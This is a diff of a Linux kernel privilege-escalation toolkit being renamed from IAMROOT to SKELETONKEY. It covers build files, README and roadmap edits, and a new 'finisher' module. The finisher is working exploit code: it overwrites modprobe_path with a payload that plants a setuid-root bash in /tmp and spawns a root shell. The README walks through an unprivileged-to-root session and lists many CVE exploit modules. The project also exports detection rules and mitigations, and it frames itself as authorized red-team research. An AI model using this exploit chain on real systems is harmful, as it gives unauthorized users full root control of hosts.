@@ -17,99 +17,119 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
LDFLAGS ?=
BUILD := build
BIN := iamroot
BIN := skeletonkey
# core/
CORE_SRCS := core/registry.c core/kernel_range.c
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
# Family: copy_fail_family
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
CFF_DIR := modules/copy_fail_family
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
DP_DIR := modules/dirty_pipe_cve_2022_0847
DP_SRCS := $(DP_DIR)/iamroot_modules.c
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
# Family: entrybleed (single-CVE family, x86_64 only)
EB_DIR := modules/entrybleed_cve_2023_0458
EB_SRCS := $(EB_DIR)/iamroot_modules.c
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
# Family: pwnkit (userspace polkit bug, not kernel)
PK_DIR := modules/pwnkit_cve_2021_4034
PK_SRCS := $(PK_DIR)/iamroot_modules.c
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
# Family: nf_tables (CVE-2024-1086)
NFT_DIR := modules/nf_tables_cve_2024_1086
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
# Family: overlayfs (CVE-2021-3493)
OVL_DIR := modules/overlayfs_cve_2021_3493
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
# Family: cls_route4 (CVE-2022-2588)
CR4_DIR := modules/cls_route4_cve_2022_2588
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
DCOW_DIR := modules/dirty_cow_cve_2016_5195
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
# Family: ptrace_traceme (CVE-2019-13272)
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
# Family: netfilter_xtcompat (CVE-2021-22555)
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
# Family: af_packet (CVE-2017-7308)
AFP_DIR := modules/af_packet_cve_2017_7308
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
# Family: fuse_legacy (CVE-2022-0185)
FUL_DIR := modules/fuse_legacy_cve_2022_0185
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
# Family: stackrot (CVE-2023-3269)
STR_DIR := modules/stackrot_cve_2023_3269
STR_SRCS := $(STR_DIR)/iamroot_modules.c
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
AFP2_DIR := modules/af_packet2_cve_2020_14386
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
# Family: cgroup_release_agent (CVE-2022-0492)
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/iamroot.o
# Family: nft_set_uaf (CVE-2023-32233)
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS)
# Family: af_unix_gc (CVE-2023-4622)
AUG_DIR := modules/af_unix_gc_cve_2023_4622
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
# Family: nft_fwd_dup (CVE-2022-25636)
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
# Family: nft_payload (CVE-2023-0179)
NPL_DIR := modules/nft_payload_cve_2023_0179
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
.PHONY: all clean debug static help
@@ -134,7 +154,7 @@ clean:
help:
@echo "Targets:"
@echo " make build optimized iamroot binary"
@echo " make build optimized skeletonkey binary"
@echo " make debug build with -O0 -g3"
@echo " make static build a fully static binary"
@echo " make clean remove build artifacts"
+81 -43
View File
@@ -1,4 +1,4 @@
# IAMROOT
# SKELETONKEY
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
> bundled with their detection signatures, patch status, and version
@@ -7,15 +7,20 @@
> vulnerable to, and — with explicit confirmation — gets you root.
```
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
╔══╤══
║ ● ║═══════════════════════════════════════════════════--,
╚═════╝ `--,_
`_/
███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗
██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝
███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝
╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝
███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝
```
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
> tool. By using it you assert you have explicit authorization to test
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
@@ -23,61 +28,94 @@
```bash
# One-shot install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
# What's this box vulnerable to?
sudo iamroot --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
sudo iamroot --audit
# Deploy detection rules across every bundled module
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
```
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for the
curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md) for
the blue-team deployment guide.
**skeletonkey runs as a normal unprivileged user** — that's the whole
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
work without `sudo`. Only `--mitigate` and rule-file installation
write to root-owned paths.
```bash
# What's this box vulnerable to? (no sudo)
skeletonkey --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
skeletonkey --audit
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
sudo skeletonkey --mitigate copy_fail
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
```
### Example: unprivileged → root
```text
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --scan
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
$ skeletonkey --exploit dirty_pipe --i-know
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root
# id
uid=0(root) gid=0(root) groups=0(root)
```
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
for the blue-team deployment guide.
## What this is
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
is empirically verified to work on the kernels it claims to target,
CI-tested across a distro matrix, and ships with the detection
signatures defenders need to spot it in their environment.
The same binary covers offense and defense:
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
apply, and which are blocked by patches/config/LSM
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
authorization gate)
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
every bundled CVE so blue teams can drop them into their tooling
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
host is vulnerable to (sysctl knobs, module blacklists, etc.)
## Status
**Active — v0.1.0 cut 2026-05-16.** Corpus covers **20 modules**
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
across the 2016 → 2026 LPE timeline:
- 🟢 **13 modules land root** end-to-end on a vulnerable host
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
- 🟡 **7 modules fire the kernel primitive** (trigger + slab groom +
empirical witness) but stop short of the full cred-overwrite /
R/W chain — they return `EXPLOIT_FAIL` honestly rather than
fabricate per-kernel offsets. Useful as vuln-verification probes.
(af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
netfilter_xtcompat, stackrot.)
- 🟡 **11 modules fire the kernel primitive** by default and refuse
to claim root without empirical confirmation. Pass `--full-chain`
to engage the shared `modprobe_path` finisher and attempt root
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
nft_payload, nft_set_uaf, stackrot.
- Detection rules ship inline (auditd / sigma / yara / falco) and
are exported via `iamroot --detect-rules --format=…`.
are exported via `skeletonkey --detect-rules --format=…`.
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
@@ -93,7 +131,7 @@ The Linux kernel privilege-escalation space is fragmented:
- **Per-CVE single-PoC repos**: usually one author, often abandoned
within months of release, often only one distro
IAMROOT's bet is that there's room for a single curated bundle that
SKELETONKEY's bet is that there's room for a single curated bundle that
(1) actively maintains a small set of high-quality exploits across a
multi-distro matrix, and (2) ships detection rules alongside each
exploit so the same project serves both red and blue teams.
@@ -115,16 +153,16 @@ module-loader design and how to add a new CVE.
```bash
make # build all modules
sudo ./iamroot --scan # what's this box vulnerable to?
sudo ./iamroot --scan --json # machine-readable output for CI/SOC pipelines
sudo ./iamroot --detect-rules --format=sigma > rules.yml
sudo ./iamroot --exploit copy_fail --i-know # actually run an exploit
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
./skeletonkey --detect-rules --format=sigma > rules.yml
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
```
## Acknowledgments
Each module credits the original CVE reporter and PoC author in its
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
research credit belongs to the people who found the bugs.
## License
+18 -18
View File
@@ -15,18 +15,18 @@ commitments.
## Phase 1 — Make the bundling real (DONE 2026-05-16)
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
registry, route to module's detect/exploit
- [x] Module interface header (`core/module.h`) — standard
`iamroot_module` struct + `iamroot_result_t` (numerically
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
aligned with copy_fail_family's `df_result_t` for zero-cost
bridging)
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
exposing 5 modules
- [x] Top-level `Makefile` that builds all modules into one binary
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
`iamroot --list` prints the module inventory
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
`skeletonkey --list` prints the module inventory
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
across families). Phase 1 keeps them inside copy_fail_family/src/
@@ -35,7 +35,7 @@ commitments.
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
Public PoC, well-understood, useful for completeness — IAMROOT
Public PoC, well-understood, useful for completeness — SKELETONKEY
without Dirty Pipe is incomplete as a "historical bundle." Affects
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
deployments (worth bundling — many production boxes still run
@@ -49,7 +49,7 @@ these).
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
watches) and `sigma.yml` (non-root modification of sensitive files)
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
kernel 6.12.86 → correctly reports OK (patched).
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
passwd-UID and page-cache-revert helpers in the module (~80 lines).
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
- [x] Exposed as a library helper: other modules can call
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
--i-know` produces a kbase leak. Verified on kctf-mgr:
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
- [x] `entry_SYSCALL_64` slot offset configurable via
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
Future enhancement: auto-detect via /boot/System.map or
/proc/kallsyms if accessible.
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
## Phase 5 — Detection signature export (DONE 2026-05-16)
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
across all modules (deduped — family-shared rules emit once)
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
strings can be added when authors ship them. Currently no module
ships YARA or Falco rules (skipped cleanly).
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
`detect_yara`, `detect_falco` fields — each NULL or pointer to
embedded C string. Self-contained binary, no data-dir install needed.
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
sufficient for common usage patterns.
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
(already landed in Phase 2 complete).
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
no automated mitigation possible. Document and skip.
@@ -178,7 +178,7 @@ cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
None requires fresh research — each has a public reference exploit;
the work is porting the per-kernel offset dance into a portable
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
likely as an env-var override table per distro+kernel, with offset
auto-resolve via System.map / kallsyms when accessible).
@@ -190,7 +190,7 @@ race window makes it inherently low-yield.
## Non-goals
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
- **No automated mass-targeting.** No host-list mode. No automatic
pivoting.
- **No persistence beyond `--exploit-backdoor`'s
+179
View File
@@ -0,0 +1,179 @@
/*
* SKELETONKEY — shared finisher helpers
*
* See finisher.h for the pattern split (A: modprobe_path overwrite,
* B: current->cred->uid).
*/
#include "finisher.h"
#include "module.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/wait.h>
static int write_file(const char *path, const char *content, mode_t mode)
{
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
if (fd < 0) return -1;
size_t n = strlen(content);
ssize_t w = write(fd, content, n);
close(fd);
if (w < 0 || (size_t)w != n) return -1;
if (chmod(path, mode) < 0) return -1;
return 0;
}
void skeletonkey_finisher_print_offset_help(const char *module_name)
{
fprintf(stderr,
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
"\n"
" To populate them on this host, choose ONE of:\n"
"\n"
" 1) Environment override (one-shot, no host changes):\n"
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
"\n"
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
"\n"
" 3) Lower kptr_restrict (per-boot):\n"
" sudo sysctl kernel.kptr_restrict=0 # if you have sudo\n"
" (Note: needs root once — defeats the LPE point on this host.\n"
" Useful when populating offsets on a lab kernel ahead of time.)\n"
"\n"
" To look up the address manually (as root):\n"
" grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms\n"
"\n",
module_name, module_name);
}
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
if (!skeletonkey_offsets_have_modprobe_path(off)) {
skeletonkey_finisher_print_offset_help("module");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!arb_write) {
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
return SKELETONKEY_TEST_ERROR;
}
/* Per-pid working paths so concurrent runs don't collide. */
pid_t pid = getpid();
char mp_path[64], trig_path[64], pwn_path[64];
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
* know it ran. Bash 4+ refuses to use its own setuid bit by
* default — so instead copy bash to /tmp and chmod +s the copy. */
char payload[1024];
snprintf(payload, sizeof payload,
"#!/bin/sh\n"
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
pwn_path, pwn_path, pwn_path);
if (write_file(mp_path, payload, 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
return SKELETONKEY_TEST_ERROR;
}
/* Unknown-format trigger: anything that fails the standard exec
* format probe drives kernel's call_modprobe(). Empty + executable
* works on every kernel we care about. */
if (write_file(trig_path, "\x00", 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
unlink(mp_path);
return SKELETONKEY_TEST_ERROR;
}
/* Build the kernel-side write payload: a NUL-terminated path to
* our mp_path script. modprobe_path[] is 256 bytes in the kernel
* — we write enough to overwrite the leading slot. */
char kbuf[256];
memset(kbuf, 0, sizeof kbuf);
snprintf(kbuf, sizeof kbuf, "%s", mp_path);
fprintf(stderr, "[*] finisher: writing modprobe_path=0x%lx ← \"%s\"\n",
(unsigned long)off->modprobe_path, mp_path);
if (arb_write(off->modprobe_path, kbuf, strlen(kbuf) + 1, arb_ctx) < 0) {
fprintf(stderr, "[-] finisher: arb_write failed\n");
unlink(mp_path);
unlink(trig_path);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Fire the trigger by exec'ing the unknown binary. fork() so the
* kernel sees the unknown format and parent stays alive. */
pid_t cpid = fork();
if (cpid == 0) {
char *argv[] = { trig_path, NULL };
execve(trig_path, argv, NULL);
_exit(127); /* execve failure is expected — kernel still calls modprobe */
} else if (cpid > 0) {
int st;
waitpid(cpid, &st, 0);
} else {
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
for (int i = 0; i < 30; i++) {
struct stat st;
if (stat(pwn_path, &st) == 0 && (st.st_mode & S_ISUID)) {
fprintf(stderr, "[+] finisher: payload ran as root (sentinel %s mode=%o uid=%u)\n",
pwn_path, (unsigned)(st.st_mode & 07777), (unsigned)st.st_uid);
goto have_setuid;
}
struct timespec ts = { 0, 100 * 1000 * 1000 }; /* 100 ms */
nanosleep(&ts, NULL);
}
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
unlink(mp_path);
unlink(trig_path);
return SKELETONKEY_EXPLOIT_FAIL;
have_setuid:
if (!spawn_shell) {
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
unlink(mp_path);
unlink(trig_path);
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
fflush(stderr);
char *argv[] = { pwn_path, "-p", NULL };
execve(pwn_path, argv, NULL);
/* Only reached on execve failure. */
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
return SKELETONKEY_EXPLOIT_FAIL;
}
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
(void)off; (void)arb_write; (void)arb_ctx; (void)spawn_shell;
fprintf(stderr,
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
" the task list from init_task and find current). Modules with\n"
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
" instead — same root capability, simpler trigger.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
+80
View File
@@ -0,0 +1,80 @@
/*
* SKELETONKEY — shared finisher helpers for full-chain root pops.
*
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
* write, slab UAF, etc.). The conversion to root is almost always one
* of two patterns:
*
* A) "modprobe_path overwrite":
* - kernel arb-write at &modprobe_path[0] with a userspace path
* - execve() an unknown-format binary triggers do_coredump's
* fallback to call_modprobe(), which spawns modprobe_path
* as init/root running our payload
*
* B) "current->cred->uid overwrite":
* - kernel arb-write at &current_task->real_cred->uid = 0
* (and cap_*, fsuid, etc. for completeness)
* - setuid(0); execve("/bin/sh")
*
* Pattern (A) is much simpler — only one kernel address needed
* (modprobe_path) and the trigger is just execve("/tmp/unknown").
* Pattern (B) needs a self-cred chase + multiple writes.
*
* Modules provide their own arb-write primitive via the
* skeletonkey_arb_write_fn callback; this file wraps the rest.
*/
#ifndef SKELETONKEY_FINISHER_H
#define SKELETONKEY_FINISHER_H
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include "offsets.h"
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
* `kaddr`. Module-specific implementation. Returns 0 on success,
* negative on failure. `ctx` is opaque module state. */
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx);
/* Trigger that fires the arb-write. Many modules need to set up the
* groomed slab THEN call the trigger. The trigger is a separate fn
* because some modules need to re-spray before each write. NULL is
* acceptable if the arb-write is self-contained. */
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
* already populated `off->modprobe_path`. Implementation:
